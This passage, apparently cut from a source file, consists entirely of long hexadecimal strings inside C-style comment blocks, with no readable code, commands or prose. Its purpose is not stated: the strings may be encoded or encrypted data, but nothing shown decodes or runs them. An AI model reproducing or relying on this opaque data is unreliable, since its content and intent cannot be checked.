4d6296917c8592777e4f4987bf831815cff8086d91ae0a9c3f31b1b3a1b51b6b867971a6e17292d9ae26100418afd27c775b7bc5ceb9c26f76702faa69e443af7a0aabcb96c19ce670d3836a13a407578afe054aa93e3f0024c2f57c841cc17226c60c523b0bc6f7b6c0e7fbc9c0eea9a4de9aabbc6de01b09c827044a0168797219752a5036254ce4c4942e41d398fd66c67856ead07cb24658ddbc56aa2ea83da9caf7a3f82b246348c2e7dc43169cd0c51d723e44bd952cccc949dd96bacb4728e92662404d23b713d3ba46c929ee7f740625ffbac0a00540eb817292ab64452ad4420ba33c3f8b8efcb54a2f4f6666f9c39e87208ac15d9a20659c1674ed27c258cfb5ada03d10051e116419903ec186d07561cb0bd11eb42ad2c4dec47e9eb15a87e7b8c317e9bb58220b7e53a8d69d6d6daa5d2dcb09e2ec7e95c4a37fe0240d954a03097e25b73dcf48833b09601319aec2591d8fdb4839a40112b94ccfa9120b4dec5c92285b8907035f090b546f8f282814a2f199a871264d7434f23f150e604328495d2d4100c89cd26581f562164f404e08119f14eda29fcfa474fbf94f8d086f75d271f21d162e6ad94e8703949dbf66bc9d730a7ce597eaeb81d3cbc489d9ea7a54c085a1663dd24e99fc0c87b9d4306c380b9dcf009363598b43b38088389ced2cc97d42e9fb06d479f0c5f954d8665005abfc4f8465fd0d63ac6ca1927f3cd26d20f954fc79c933ef24c4c7a1b0ef02f304ee176c58bccebef12a9bc525b90dc8063838718cd0df47fa241725d9072794f3c9fb0bc86a9ba56bad105baf16bdc96327d4849c100999529ae62f1b5e2d3647d45c1766a60e4ebb070e405cf240e2c1d5802b2d83b0489a75b6614da54087a72d8ee21d4d1a0a7488a045cbf514ad22e93f6369202374cdb153ebcecafca8440ef269456a1f9d19f0e32ae37d130ae391318bb54ded31524fd807e654fbb704d64a830f92f2a68a3b92dbcbc4987a37e2f2490182ef99a0c3783afd20649d933f0bcfcc103c668530ecfea944e9002438b9caca9a64c3f769daa2c9f15a14ad234dde4064bef64d91765da224efa0f5c273f1ef705f6809d981e1a92dc4a10139ed7b6ee91c40f8370a095103b6fe6a094f8f7fdd048038c5c0656f97aa7e830565cc5f9086048325bcab43c3bd881f8608b0c8f90a8a64d79b4c8c40a096436a963ffa1da864995871b811e36e24a7d04c9582e776fbee1d3bab1ca2488678ba1a6a10fb6d6116a8acd9d476ea901e59b37c52c907667caf0aaf0dcb5d367a61fc5493e70f693c073bf929fb0d81399d7c9bdf9c03f7d78b5ba5a190c3c2781e7fa12a9529bc7849bc1bf8f4625a358e882316704be2dacad450a8be730257da168b2fc96717bcd76f08d8a4afef0931eefa795a00cb210605cc7b874c0657ffd42807e69bb7e584f1bae983620791ddd6cdb7ec7b445af012dfaa10474ac903340fb349998d2a750ad4c326e7f9d0247ec963b426c41141414672046378c277521195c4667ba8d0ec97ad2a593fc94305cd2430f33879166ac5c51bb6e9a02dae4f61204180485be51e0e00571d6e79a8e8af8f4e237d26224e2c68fb90672da98bd346d01702445cc19944e8d3404b138a9d0d699af043ba2e6c9aa2120e3f5ad86dcc290262acd7e340925ae75b3000ec574fde1849b9df844224bf64f28f1cc9503081ff1a45f7252c5c838250de1ded8c92fb8da4d919fdc4534ca890ddbaae5ecda01ac8f32473ac15db6698563e0dc3d071f8330e07a54e802b9c8a5d195d164e8462df77be02d6a16efa9e95c95bd350b349675576947417fdfc259cdcf8d8d44625015f1fd50dda2f910dcec5d249d81d523bafc3fd9229579ae33c4d32a8bfe36b3c0f49e573a7b3b7b5adfbeb1a3a6f1e397ae0eb73104073c28161c04c2bdf2ae77dd1763f69b17a6315915fff2c32705c192355e3e341d0f712468dd5b03bac017f9bee78544f85f9170909f6d483ea57a83df73f043b55eaca1f84f709710000c04ec4c7c8754613cafaabc1d892758b920586916a3c8f296c519ff97967d5e9050967e857ba49c38c3a2bc3830f4369c3240266ffa5eeabb2788d6d2bb8fc4772adce83dd*/
/*dc327725f9357b056497026d6e23ce10e96e156dfc89d364421f139892742d4447deae3b401adeda9915ba83b9d620520100e5ad638ee16823f5dd8396be4eed5bd717160c8a9065b010f432d40a506563486d9323d122fb76ee378eb3e68e53214a9174fcd1d5b7047546a12514aa06a4883856da65c1dd06ff90570f019d3ea363a941410db3918bd9b324122db9f91ccf05aa8127bb54d0fe043b2997387a1eeb04eb581dfc0be12c86ee35f6636171657dc26067338288e305bbc95ffad5ba59cb387a8088d9ff338f94c3a76a42c51550ad8cfbef1b8bd06ec86cca4572eecd5165249268be00ef0d334ca161e3012f33fc57bbcaf46bcdf06e6a9913c46bc069ea7e015e8ca5fb3ad09fd003107e111aebca9c7a0ae2be5be0a39b28c03460efd62d12d4735f2c7cfa9db3d288dd960022e119df581ff9fb3e1b969b871845a034d8d9afb60323c35a0e97fd8e2eabeb7d734500c79ead403bd66ab11bdf1cf283814ea48ba7934d87acd0fbaef0222e0ac82ebdfa94ef570c0033536b17f149b1d117f5bb49166a5d066535f456e301aef796ad3b6302f1fc8cc60f606ba91cd110c06171449063926998413470ddfaf1401c8d316a091965a339a916ad8773670f64487576a802ac89ea3b848017849f5df992fa7126e8a63e5b3322217a1749f5a9873cda158b2929e32e75d8c76c0d933b5378724c4da6cd548fe620ed72f888b2aed6c93b0ed84e4c2a2a2a970e5b4ca795ad0a5d382d3348c7286ede0dbd1f4346e873c6e58b998e74a6c7a4ff5c85cc1c8c36ce05d09eab7e7be595c6288748b13a4f73ab62ca71006f2d34c467720db3bad31594fda8796dd28cb71166b9ec521ec7e44bf2aa6514882ca3578d756cd71c6aade493cb8eeb6b438b056fc398a6af5d6bf683ccb8ffe71d7ba9349a387d017be4f11e9fc9e8911284e238acda3b03daea3bf351cce7822fa7a408f49cc3116186559dfcf7e154b3586e46f72a777d1f4164d843ff9826e15513f7a165f4ca1b33b25d48e2fc0f53ce4b672718bf10e2b127232859c7567fce60ad98f7d4a62fe3b79e415a5030cc735a3c116ec8b36effeb37cfebec73771624a5259d27d9c915ee00e7277bb8fef1e25e4a441dd5e8a7e4aa71be95c25996532f3d938b7bb4e15ab926b1ac94b07faf239b319501d2b1c7bba8737521dd4b1424c67c58a05f4ddd2349b77f028eb8f38463c3eaf655d2d751f736b5e13ba9c8f3e46020f0b6baeea35a4ac30d455c96c7c97c1d85782f79090d825130efe301c0a0f6b1439c6a14892255aebb8400c1ec3b016dbbceb0e9c951de1daa62bdbf79bcab4f2cd8ee7e0e7fc22ea31856a36fdb8bd6a4bb9f776526c8aebfd7551bc239d8a18f4e3ff4e0e3f143baa40585ebb10d3882a8f94aeaa564a898fc6850addb8f35b755d72e816e97f941995fce38c30811ab6ee5d40d912b8ae40a0e77c2f549da7ee5add3608659f7c126b6eb3e51c58bc716da8ef31023ff5967594d2b4fda249c6a93f729454022091721653569819676833f4b3c8d81f404b3fa09687b659ef46004ba81ec0c764c33b7d6a21a8c42d76203b86239f52491ec1652ddbcda667a421c6bcb7a93f48a2fc941e3b1b6f99dbf10b7c8363d371560594e1e25b0c4623868877a92008a093fc6edcd3e1445050708a8bbed328f31b77b97c5d6ca1de975f58fcb4f196546f65f05daff4a9ee65ca4be251b92b0f5ed800a09e4b1293ce8811e93adc18dd877060d0c9382333732db288c8f6ded7b02ee31743ff51cee0ec16debf84db393888fb5cfc8844ed787d3ccd134f7eae6d3b10de6373ef1921fe0874bd91901c96834f180076319764697e47d673874f4474c7e807f498dd796ae1541fdeef19ec5d4db6682e7ee722fd2918f9bdf0e0d8a5d075bc06b20a19903c7168e914941a223a2fa3bf90b7267cf2ae8788a8ef5f181289888123024839cfdc52531d8f1359e30a660502d891477ba52b2c28848e523741b87fd98b5bde3ef98d275966092dd4b857897ab2a020d6383a5257eadc06ec35d07a5ec7c11a23b1c6682aae3e5a358ae52725496042419b2d4a06f46c734463a3db6b52e2862b36ca46d9b05fd061ff73e3338584e9219dff81a0d2858cf75bb8a9c8948471f527a50db0e4e1af847a6f64e0b6d44700b3d698a5555864de8e93d94e4886650a79bfc5394ca6be9538bfe59b28779bf180717aeb59d40b445434040926b71a6d8c60e64ab6cc9d58a42548a57d6a77e60238a503d28b34f2787b822128e1d696311c4d5f7720117e79f9cf872c861dcf15a1e1622a2582583251df80b1cbcc70e1987d5188fc7a8692c0b576dc7030758c315ae4df8a73b4dc424f983658dc9020788b5f2a95a26419a4b82a8ccc389e4d1b2f91197d8c84541563e4b965a72125f92e8408dd3ec93a49afdb5e33b676dc2ce58f33350863227509b76cbe9bd0e240d86efbb0c8cad58eb2def02e740c37cb30696c11c61000b882b23941602ee9467da1660590bcdb0fc2a28b42db9de10744d2813e84becf6214dd8799d153407ff6dc9be734fd7691d325ac74002ad5dc05e3e86300bb74e5b34a2a44db36d79398710f2f3bd6d9f0aa16db902aee614ae53524d55db11d9941b135556c6917c13f5115975917548197ff13f06a7cbbcda30fcf86ee8836b907832f1df0979a350b93cf2e7535463ee3364f3ea5e80ce213de241c16a4856844aaac2e184cb76e509459117507a25e1fbebc5ec044929c8f43868dbf23df83755188a77d01bfbfab91747445a29c2b5134ed9369a2104588671d1*/
/*d4747347153523e25d243817a5ffc20d3a09f89a0d2a3b74c67d1d89e5158f7046ef7717f8537692bd5f9684cd9afb7ab5366be41819785673f3a0104baa6281d80005d8f6fc69334aaeb64db626de36f7a372b7fa153aa345ef5e90830eb4d43b9b248af3ba8872d0e981b90d9c208112d9aeb0009f3ef9906b5ad7edf8a1df688416b82bdf3aded860faaf1375f6152655c492248f8b0b9125697d234464279b31975d36eba300bf7f284f5b8f3da713da08aad3b3ae03c7800adf53643013233504709f385d9d47b8f105f8f3e39e64ff69db9a17a1d7954d315fc615203d3fa4a83bb9e23d2cff3553a398ac9b4ce6eb303abf289b912b80bd799aff2e60ebae0330626d437eed3d8e07168837f331d9f8950eccf56e17c6ef1c8bc93275a80e56a46d5cc2ff6f9ec35e49d3b50edee5ba029751468aeeec01bd110b651166a0520ee884cc1d6dd8557c622eb2cce0f4129d3572051b484796526356ad56b1e4b8fab6163f933d4d2b7591edb74fb9cf887f50b5583ff4295395384d5e965dcf76be22e863c8c090ccf2f0add4eb94e89417af104e1760de92bea082743b9faf8095598cfec00e49060913b95994bb00b27fe55a2406d650b2b4fe07314cc295298d8a7e427945111f9804703ea1937061192221da1c54d216c7b035a248aaedab366397b9c7a33838268132b352eeee346c54819702812aab721ab5364b4fee33b21911faaa32dceba21023fcc2eac7f3032ca4f85ff6ff0ad8df3725a7673432d1502219eb0d59531cad58a0f5387810fb8cec4ec18d80520bb37d1c2d7168fc913684f58eb1fa161014dace0e207a47fc54820e5a348e1414c36c12dc7e25b7b971ccbb64d2d4e080303521718339103f881f69701b6e3d026b04b322b1e258dab97bb5b099dd91f686916784a75fb7975e5e207b44024f249ffc2cbbb9f7602d1fbb606d8f4bf4d470e4b5997ad1cd4612caa8c92faf02189b73863d3b618d9e9674835731d8b561dd45de51d87cccbf88b637783bf7ed56bbf4097775c9ed8a9fe7526c168f7ec4913455587d10ff79792687b5e9bb257f42b8a2587a022d4c91389ad7415a2f83b4fdb0f62d4e2e11f4a64908b748ca627d9257b83b8ea62ac1661f9785d907bfb8b3764eb6d42597c6b0b8b4dc707e6f0e6fa3b1a63174d72111a176833dc9b09328d747109964739f1b7c8e2c893222ba464eed037b99f8ead00fdb738ef2acbd245cd75a26372490d35bb9dfd18b623e49a4a66a97e4b9fe532032ff4d80142f054f81a91525977d397425719889e4ec890b365030bb3d96fad18c42ee74b3c292073a62891190435e2dbd92510727b574882d20d2f881c166d1e4f4c2e30d60db0ef549b4b232a340c3f5c27fade204b519b5a85ff25115d0132081674f1ffc1390abba75fd1da2db0ae2683356392f0e75368b7d49c6aba22fa017de2f17c1be8d94ee9429e1ac1cb74902b709c5551073e0f7dfe77a8dd0df422599a10c98a8415028565708c1d49c8d82ac06284c805bc091351cad9dbbe8406e122e6cc7faa4573cad03e9b56483fc6d3f1ea8edd0d1d0f6a9bc63ed43c7066f37dfbe573ce79e07aa68101ff9a0e6c81e50d3b2ef1652c2d5dd10aa6d0f55b7b531d73d2dcc4d66bea87b12b5696b3642f8fb58c4450f773a6b8f0e2fabb7ad2b6e21998fe02e6e5483b6beea2f3883213bfb5844b42178dafada8e7d24496454a55dfdd3c659ced7797b5a3ba34dcc4ba7802c123603381d817cc670652578a293de370bb92e9b64296e437b4a8907b7284f78882fb179528184bf3569d93bea92af10a9eabf07a6b4986051f8bcb9699494e54030c27c000490b03ab7f6629cea0bec3b78f1497fe8c57c48b50660e96fcb905aa387f0a21b8f14ff35266df14273215c61fb4ae7c495984dfbf348a6600659e7fc8f4b9a0bb97cc6280dce085fcd44ecce74600fe182a7d262bed54651b15bf3beb9bd9d92c97f14cafbd18c4a8006a80abc064c20351c959eed4da00c44045ca34f4d57960a1189023c9e2eeee7c075e9f84737c13ffd86ac70c8fa9561c1453dfeb4dccc08817605240c0428f852ebcde3330ad40cb2a1a01d39dc83a309754132bf9ea6812cea6b36c9be446583e63f64bf1234fead5f24bdcd10e89994abba435341595245f567f8f373c7dc3cd11910fa07d644a23315db14c7f9e38cec4396ff66cc0e00d5bafa6946a300cae1eebeb1951cb41a08201fc7492f58d94fc4f7f6879ed9b070a8d8137ed310fce6bc0055ded0c2b22d45301df5afc201acbd311595272757ffb47ef83d1f5ca3992031aa4cc4da86f1075a41fbf0d09c57ea43fb795c14322504395503e24c92fbc87c2739f017793214c291330d21990bdff2de5c13613cda32a6f99c76bae35c6d8525fdb828a94179e40b6d61e7e9257d4dba238a06ef31a168b453ce8fcb6e89e5d3d4348d09fc57507416ec447c073f96bd6bd8848a7671ed2b977c964b5bc4c8a030681802d3b98583ec6abb34d6934523cf9950fa362563727525ca6b2f2c1a112aabdc8b542612191546b1fc2559b1af1a4b962d6b433b24ad7a01d15dad003406d7b06fffc4211dc265ff1150307d3907612cfcc0b9bed967047e5ff52526dc56ab4715d72c89ed3c6687a24724f4ba6b27472fa7f289361e826782b7415d9c168574e54ba1c56b98a3f5b2d0b828e6681850e952ce396945323495485d268c7259afd05a110f90c9ff5824ef4dcb3adbe6ecef7d22ae955d5cbf2f5610f6f8123e2e8f7df392f9ee60e6d979d98f4c80bc7e2964ba4ec53904f3cd7967d2*/
/*22f18b17cf9cfd17dd2f1ef7b17801931dcc807bcd87bbf3b8a2e82f75256f09dd2adfa58c8d67cec34abb45d5e007a5c7cbaca858849d28bdd5e70011c4b4ff51a4bb81b247c7a8adfcbd3a886cc33a53ceb80dddf48c7ede25e46511e4cd187e6cf2e856dff4b252c41dcda8dc52575eb8ca8e4cfd89bea8fbcae42e310b6e16a94d09b8171ccee2de7e1ea713416c2173fe9365c677d946d875a7fcafe3d8c442eeb9811072e4b53b09a635c9e7f0b3ff7251dbdd6c71dfa3253d92515635b1c4bf0a047577f4a266712c2e6b94846196f4ff9a662336101eb26a267a184232b81061def520c20cc5c07f7b0d27669c523d3e735a3113137896b01bbd6afadfab5c25928d974fb8ced69830f7568567e2eb64f83b20fa7382fcfac668cf2797410de8c00eeba2691d5d993ea2a1533163d77660d8fa4f32e753913d13cd34c20eaa14e8e8b680ad905d1066c05ee8e9b389dbdc6330b1a67220170a5af440496279d77283fffd08fae9b415b8b72388bd1f539d516f7efbb86735e8176607243f3101d4db2aa055efcbd56d138cf0b63dea08d2c1ee5ab1cdf1af3c47c0b272ea7394e40530b95fde01e94f5fc0863094a9459abd7497d5aed7145294e1ad8d591bd101d6b2d221c27e7072da89bd219f149f3585b16092f024e1d3a92c651733db5c2e78c4d4c621b984e2e14fa4c0fe399a4cc32ff90ef0582b9a6f6105751683ae1bef0cc7eb7f35420a1d1bff512ba51739f37dd067bf9bb8fe8fdd9f125a3df1e53cb2f7430a0a235e26667ea705456209d0c8ccc111fedfb78933511eee264deb7de9612113acda2c89b7e21c2faa2acf0b3b818ac087ae6196f9348191540972bdf0321229f6362f0393a3f7f7f3873f71a0476eb7f004548f84aa2aa66739ee3c24ca59a9b52b532d0d514ed681b09b5457f7f3e80055db83e1846a4d67e4b1060ef01c47a894ca95a8ee120d3752d5f754a87eb93902a597a0edde279448b9221b424edf6b5a1e2f6a7e9c572166f91e98cf4d92a3738e2e777a1631a9ca800e7f4adc3368fe881d5b32c3cebb3d57f70b687726cc47585194394db0fec3f2bf3173f8cef6e8aff8cee2ac040584d71b916d04848fd6d34c0c1c3e903ce9f2f994da5341386aad6c705b7bbbbdda311e95f91672052d31ecdee70bc862c75e8aa06635ce966d77ff354658d92cc1c7af3ec7fb6369de91a8d195959231e7a64a64f8cefb11952ed8cec958e621f829372df287a3b9d01f6d7f687595fd4b7e70961c4e2e96ce09ee67ab444997adf21def59b76171811558500b3e1b8e96df0df30acfc2776157d86cb95c3b3b53f20700487e30fd266be1e0ac6124e98abbb430172285072978633aab3f6ecf553b44e0891218000dd825cbe56c62eef160f1518252425aa404441f835d33b288f789d60a7aed3e9254ded2d8ca9ca8d8f7811e0bc74d0021b2370eeb33f4c6a582db772d83204d295b403e41148139b38e703dab9d24f247c6f29403cc7a59e2f89604c9ec04f2e388e61b8e4b388dadf87fc5fb79b46bac7944e4a97ecfef1de21b60f851ee57b5566e21bd5fb26d4e418b40e7a0ed1d6a7b0d0e74f855744ecc1c2e92b0a9502a8532fc07f6d6d81c0b88b544b6c2afa5c41bbba213c35093efece0490659b8a2e1c14830db07bf0cc4030dd4f7480de9d8a23ac5266884c7425988cd6a48d7e71b6147c46abff514e9a9b5cb9ccac12caf878836dc6d57baf7952b6f531891e60db12850c5db7ae486e1618eae8f801d19b09c1a48dafa303d9f02ff767838ae7b19ca8d3f5f905e473b85c716d54e56bd9483fe23516a53062fbad77e9c496ad901399870602d6ced4a2b7a9a7e9a9facad20a01fbb3ec8abb10dc40f7c008f7440ad1285cbb4fca21cf2e3ee2db7babb98e692cef5bbfdcdccae48bbdd51043b098cc8211d89ada6124eda49c2c2ba9ee10ef6b7d853fce77ee88d6547fad8133e13f68cd3e0220fc486c70f07a095e714b719521898f01c422e92ed0de61afb2398ba8699892362782843244d17b3b524968f86878eade2426bdd75a7cfb26337ccb4cde78ae77643d27cb2d9fc39f12ece9be49dc3dbcf88f9abcc6bb72c2e5a5f97281c72c380ff42e0e009aac02c0fa183593ae01463029e08534c368bbe1f01f042152b62c3f404a4d5515c5e3da59acdb4dfe2b2d1585467e83e9d6d497b34f7c4653d22f507596f634ef4fda4f2568cb7ff830f9ac599e51276175979ddf49fa90f953f4df6f0fe21b5df5365ac85895931c43824c2adcc4b066239e4be414f05827fef542f9a6b3545e1f3a9e5439d52604bef5c4480785b870668be015b50eccb8184a7fd47979d7bbd8cc11e6879802ebe052f7b301b3dbff0e9e9aeef1beeaeb0641a0dd117e2522b7aca3b01a28f007e43b7002e93ef81fb4064ad72f060c45f0c8addb2f614af60427ceb4d7f2b549e75bfe39233c484e62a76eb8ef3212fd4a49cfd8a36369410365305e7972280a4a09ebaee138e51c4e59ccf0889bb28192bd444e502caf5fbf72714afef36abf2222eb3654b66c851452155726063f2cf1c0c6f8339bcfccf536d06609fb85a5919f2cc25d877ce93e156815e7835d520ec879672ec07df4e55ccc15b1bfff08de4cf86a0453c09b15331fe5ffa008502357326db37ec1a6b659f812ba4e7f08b04b22242c91bee9aa288241707937101c0b8398e0878e42ffd480f09a77acc798405ac267be6240878b55d5f9350f35cb0c1807fe21fe4375d9f62204050874784eb2266cf2515cb9fbdfa56282933c91397d8c447f2092a9d2674e961*/
/*79fe651ee7cefba53d48dc1874b855c4e91260f1ba9f6620b49defe377129084275c24d49eeaf3d887cdba4d6577be7d3d08cb6eb73a1a74819949c83f97a0cce68cdf0a71fc731b173175856ef4557305b34f96f46d9d7116c63ea0769e0be03d033dd7848070c6583a615407cd4b063be722a578c73dfa710ca4050bfe8aff7eecff76873fef8496da05b382e9fb89ea5f7f193dd69598aee636aed89ecb818e770ccae36d85606b77657ae0e0243700b7b255ca8f53dbce81441507de5901596a3bdebe2c6118f4f8324ff8cbc2bd0ad2745f2c3558b10392deeef304570e80b80c9254229cd75253822f4f4f04e62ac99cd2ee9153b4b37205fc8c946390962b8837affd54da63888e058b84fd75231e23c7df4a8d6f410bf7edcfe1dd1abe3d632fca454f6e195570c17adb214286d6751dda9c4472f085cd70218ddeaa53ca1e945f307ad76e63a8ced62d942678b69a6351a95f7c6aa8f2a748f45dc03f4af6dcacdd70b4b6230208ad3ea441b5860bb0c3555bdd4513693dde005c7ec25cb5a932894a4d0718fae5f3d04061090975ddcd3303ca718b8c99aaed1188ba1d575a87b33ef0575c5d51cddcd8481dc9a4d5683793859962081a22aa98786b53a8c306642f4e5d82fca0d077d6c9a8c5a11c193b2a0e949a3e12d3d9ce2737486f4ed5066016bee69e7514d6fac0f321079a4e05c155163747f17b4d9ee4f8786472d56277704138385ce75ee77a9109005867edf071575d1163386b84426a06987641d1a2086f38b10ce044640946f9e8a5d7efd83824baf759e570d36b525d929006fb16d4976aebf446618ca66e9ffc91240832bc77a6e58bd9cc25b68e62a1016a5b0a7dd266ecc53b6fae13a97106f5f51037fca5b043270f6a6201cb1a244983126d1768f203eceeee22e010b5e62ce7b3e2daf16cb681796ece0e802a6ab706c377b7e780bcbc681c9124ca6229e6659b5711d7a617fede318c2879fa51af5a88c22bcb0a1d268d50c52909443fea765e694448d8b9a250e81fca02c588dde569261ab4a9a8661c73389a202359c67e4cab753ba6d24688c7a3084395063f5922626d222af7889f6372c0e468d09216cf58055e1d7d081ab136d7594c05d0b7163e956895444bb6d9e49c54c5011274ceae7cc52580cfee0311e87686e2539884d33c8c391dc1d4d11ae4867c4de901bcfde3d4861e1f253d31396b1ab9500524b0b3781c756125e776f54d986a4695d42e7ce20f08146087dfa5d36c7d428fbd84db56e92a3c4ef15d590ba9c8433da8746897803445f88d2f99e9cfef9924bdd19cc63395d0cc3aa851794e53a5b842674f2f1f64427e64312085a0a11083435048d43e9bba0860a62400317cd8838490b348033b939b44f5104c4cdaea9501a43d96f628b112c3716d6af9c456f451b5e4a252145a8d6d24284a06bf4d5c8f474360ddb3e5a8a3544e0b82541bd7f9fd3471e64f2c4827feb77333a66a92de78b7ec50e1bb9de14d9b2099a5e0381b4cd77cc730ca3ae414b40b8f561dc0e808548e26c85176773d5a299caa3e89ca47f0d0e58e6c070ba64ee8a14b263c96ea79724dc90a672a5649f289ec2919796d82c5c31b0dbcf89a02cebf0a7a6315f87dda14d14736f3e875a1a426213226e8ec52cfe34b5616f7418d8b7d74756cc78fbb6a652fbf4029d3ff8d83e71a588bd8107b7525b97d53eb05ea6baa7015eee67d46ea199a0e0fca5caa4da3f4b7d801726f3ee07ed5de47540bccbe51c85f0668cca0781272746cfd6d775780d8ba628ae306b0ab84151701c62dde45845b0d820b120d841d2f55ccf7a46cffe5e149906f6af8db01005d9550e671901a9b7b0149382c01a7d61d4cf4c7de18509ae1ec736a1bb6d33ae354377e0732c5f60261bc41047a8ff4ac46fe9bedcc56f987c4db1b5e754d376588bd8e4c9718748ac26b065269616c239beb6f6061b5ad6e7c71204c7e5048a7507abc959d3180fcb77767b59971fe9965ec087d042024694c95c51c7140ddfda1b573be92dad058ede12ce5048c9511826ca87f476306eab287f813930df716ad8646b6bde3f184fd0e989102b7d2cb2f93f247d53065fb68f374f3fe3b73f85aef9b67501c6362299eba1c8444fac5d716cc2fc098110c21041e2c42b213f8d9b35710d11f3b7cea3179f6ef1c21bc76b98a9d6a692afb008a3757d9c6fd2b651de01e6b109c448514558d506a4241da57754cfd70aa4b5c7287673b79ed0ef8174fb9f655ebec418d07909ec2df9317bfcab24cecec699afce11bbe4937c50644b099f89a1f0304c56635a2db386143171acefeb81bf7d50718063958b35fc90736a8201b0890e7e72317246a6cf45e0e3562a22db1852e4bb4e640679bc622edec8bbc4f309359d14ac00fd28e4f15899d85d252bd2afe8c1a8f05e9398bdc2ed7e62c3c1ec2dad47dbc83a84f5415858d05d7b3a80e17fdfcec501c6591f08b657fe191e8c1176a0b269ffce7867b589f55f430372484511cd8dde5e1c934849eb806981ead2e8c5c3b330b42c7da8c29647f1bbfbd6f25eb10690b2e17c3c90b37eb50ab6576c2d442b4dc77d5fe009352c74868d227eddd248486ae1a794d30fec0357a1b43301b81b0dae11f06798b78226fdb7a88c0eeb2bee26ad760847800b94197267f9a82f93f56f11a35c898a8b2fb17f1de224934a2b47f68d3add018a2d302e1e5cbe5e1c110686aeac2b5506a94969b1873dcd3a7fdb8ad3531fefdf17e7da85f6809abde21441bdcc85bd77fa3fd2701de1fe94893fc184d1cc5c2927bf31fc56e0d05f8648360*/
/*1a07f8efe2604be2df3a11e4e2b23dc52e77030a3a9c84863210d2025340e3c52a2c640bc1219d307e0089d638877b585138c20fba5445affd5d184b624909d48155f549b02737b7a32adabc2d80ba4927ebfe0d152b0dbb7e95ecdf93e488c87ee7e87a59ab9078fc692dba4990df21a11e97e1ab23c6d268e362f5d1d0dc760c10b75682a3381c585f8944c96cae96f784d448ddce4a9416e9ed65455733bdf87cf569fa948705e60aabf1170f743a264d4000952b2d035ab219260c691c542206bf3f05e5515e59666194aa9d2aa7df3b1e74231d35905fcffb2a739d2da80686728c5b1bc5f0a2bb0a305f16d124f72fb1a9e02f084dc0edc613de3e7c7d6f0e59c9f5213d05d81f6009936fbdd607a4ef54d5bca2aa6f92f14dd95a89151ddf15f275ba91680ea6c99b70fabac32e4b57e5862f0899d257908acb9fc045ce54baecda31a27bbd48d9804c646cbd6b6e2bc1ec2dc736e6545523f9e0c9e4611a3f8ffc3ffb807e2beb41eac02edc640eb334e33f85dda41d09100f43d9fc461637e13fdf29294765c1634a86a5d0293fbc0cffaea3dbd6eaabb483e419c5cb691f50e66d1bdcea7f3874fc88c1fda5d44754fcca20ee10fea162e4069080493c632456ff7502b210fddf8dfeed08fa1ee05010a5abf9bcf6db252787477f23d2cf8d710002bd683b2cb7d85d9502d85abf058fc208d5203b2ea7cf7cd3c331a771402705b4e5c3603db0e4f2d0be1ebbd0b61fe752b24e23dc634cc606b50cb0b32761e74331c5649d6b988ff0caef8892bfe0fc9c97f5373148401c51e3c32a10b2dd10c752212931d0e31b316ac58e6ec4fa7bf3fbd2b3265866efe64c2b7f0df05a507b5e715c407c2891ac661544060334c3ee8ae56be00d599930a3e1626b65d76adca4a5b5e47f64f5f4bdaa4acdd6e02cf8dbb8227eb587f357f52442aa0dffd2e7b548fb5071a57162dea33cd2a07d8d2719e685495def6b079249f226804eaec0a7c3f4347276d625f898b7f724b03f8fa6ebfeda7a166b9ae5481b1c06d8e2b3a1bf95e1bde6db212d81eba26632631355d163d7dd6c34c0f1e6264f949d66389932dabeb9e39df03cb25267a5a457345d144a39001fa3f2e4ed85df8770bb11a047bc162c77050562d58a1b7c2808e0a1a414527ac067a43f495ef49a0aed56b625aa0569ac79e59236c347f6b931e9e1b9209e0f7f29aa56b654b86d685829777b1ed60968291118bdf5ad7a1055e3a1c069defa5c9a717a49c92600ecade798035a73e40c6bea82fff7a8ad4942d78a633af55651e976dfe9aef50ee1cedc8d55dbd6381bbc915e4b34f4a9bbf2f965d3083a2466f28144ce3e46ebc2fda3edd06764f87e106f8d57ac73e42f95be8ae3b20a2f2de6fdc97b3a20b01c32eacb886cc87cd39d433c9ef345632a5b3f8581999ac6434cf203fda384356cbe5acb54b5033d87870f69771478216a6e2195d7cf7e44717cd858f2bcd3e032b2724d18ed4162e1bb95449434decdfc18da5ba885cd1541cc878e543915b57ea8c419aa5dd7bb7496d40cc4933d204d3d272c19ef5338fbbb2015650d0da76b85e45ef8a05452a47adaa7462262714ce3e5e8280b3642d3e057cd37feb46ca05aed61e6b4d64d342de02d164af0bc766da53008e06c77bcc9550ccef9a910abd5c40f5466861c837aea0ccb7f51085a4a9fdcab5aa394fd0b724a33de64bb668b21c0f39c5c93ed7d429497335742ec4db3c9abf5172d2d0f00fca46d79d04c7b0f112613d0d4fc609aa04aa6973e5ccf5f0ed89a04250f2c335482bc3fbc3ad35a16190992195545973a760641c3fe1d267f58817e79ffc52dcc9c4a9adae85cbe1649ada67027ea31cf5e1fb50135e3cb55095a0d05cb6422125b2fe4987ce41e08411213c2b5d9b22764a57796b80698b89fecabde4f3ed8bfe6429450b31f180094eca6a89ddb66fdc1313a1510778181ddb14588dcbfc37357f20e0fed4b74c3af2472ca9c2c26e43c68b902003ac1ffcefbd4dfe6db8d3c09fe2be32acfa4b1c89d6f54b226e32c832180e822be67bcd58d12e596a9825135ad80e4a12280a1400da2d5cf6a1977a0cd1d666bcf35dbe89ca0d24eb663843437ca4a83cd8a93f0694f5cddf8a8886cc77ab44418af70297dea97bfb57df50f05650d85819e39d212e0793599148bc8cea682d397208ec9e3767b503558f02023b398cc697adbd1320c2c21cd57a7e22b7894a6f568d83d78284367f8749b9dc562f1ac813f7e2bf97e74f7fd3246a8578d4ea50a1390d7006cc7b4e8c7b8aa78091448da92052ee68af57e79e5b1f32db9680c1a8d5182c9d4ce4d7f60aac1118b64055f495112b09348ff3d97213049ed9e91b9f89927fa88999a53613c14aeca60efbe4c65445ca3220fd9c77d69b22ef4d2af795eb3e970ee9846632f82c7ec0499178fdedbdaf7aea08da221a6ed6d028d8f4a6218a7f2611da8d7f663a9c4dd2c4890b94afd6d6151795b3c449cb5865850131f3dd37aebf8a24d81f8415def88b8c586ad672ea0f77b92a6286921e4b4c699dfb5786a355b9d2e8b67cb05a120a94e20e1752d24a49d9096bef3b80e04f0c8e778975b8e014aca4f1ebc5b970f62ee1c08a146accdae0bfd68660eeddb48e0eec6efcb1945cb8f3c00961395e2cb8e9ea0c29008da458a1ee859e749ca8878770e50cb14730da97a8ec00e3ea641067a1644a71035b9614986b4ce0646e8f31e00b2babcec81eb9d3eba5ec45e971ed623b0b8219ab6722de1147e7f418d07f508221af14936fe507fd222c0112b98628dd77cf19c3e3ac2*/
